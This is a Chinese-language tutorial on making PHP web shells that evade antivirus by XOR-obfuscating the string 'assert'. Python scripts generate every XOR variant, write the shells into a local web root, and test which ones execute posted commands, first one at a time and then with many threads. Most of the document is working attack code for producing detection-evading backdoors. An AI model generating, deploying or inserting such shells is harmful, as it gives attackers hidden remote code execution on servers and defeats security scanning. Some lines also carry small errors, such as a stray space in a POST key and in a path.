1.免杀异或shell原理
php异或:
^为异或的符号
( “!” ^ “@” )= ’a’ //两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果。注:34+63!=97,一定要用二进制
2.生成Payload代码并有序命名写入文件
import requests
for i in range(1,127):
for ii in range(1,127):
payload="'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"
code="<?php $a=("+payload+").'ssert';$a($_POST[x]);?>" #<?php assert($_POST[x]);?>
#print(code)
#将code写入文件
filename=str(i)+'xd'+str(ii)+'.php'
with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a+') as f:
f.write(code)
print('Fuzz->' + filename + '文件写入成功')
f.close()
#单线程访问shell文件并提交测试
url = 'http://127.0.0.1:8081/x/' +filename
data = {
'x': 'phpinfo();'
}
result = requests.post(url, data=data).content.decode('utf-8')
if 'XIAODI-PC' in result:
print('bypass->'+filename+'->ok')
print(code)
else:
print('bypass->'+filename+'->no')
3.多线程实现批量访问shell文件并提交测试是否正常连接回显
import time
import requests
import threading,queue
def bypass_check():
while not q.empty():
filename = q.get()
url = "http://127.0.0.1:8081/x/" + filename
datas = {
'x ': 'phpinfo();'
}
result = requests.post(url, data=datas).content.decode('utf-8')
if "XIAODI-PC" in result:
print('check ->' + filename+'->ok')
else:
print('check ->' + filename + '->no')
time.sleep(1)
if __name__ == '__main__':
q = queue.Queue()
for i in range(1,127):
for ii in range(1, 127):
payload = "'" + chr(i) + "'" + "^" + "'" + chr(ii) + "'"
code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"
filename = str(i) + 'xd' + str(ii) + '.php'
q.put(filename)
with open(' D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a+') as f:
f.write(code)
print("Fuzz文件生成成功")
for x in range(20):
t = threading.Thread(target=bypass_check)
t.start()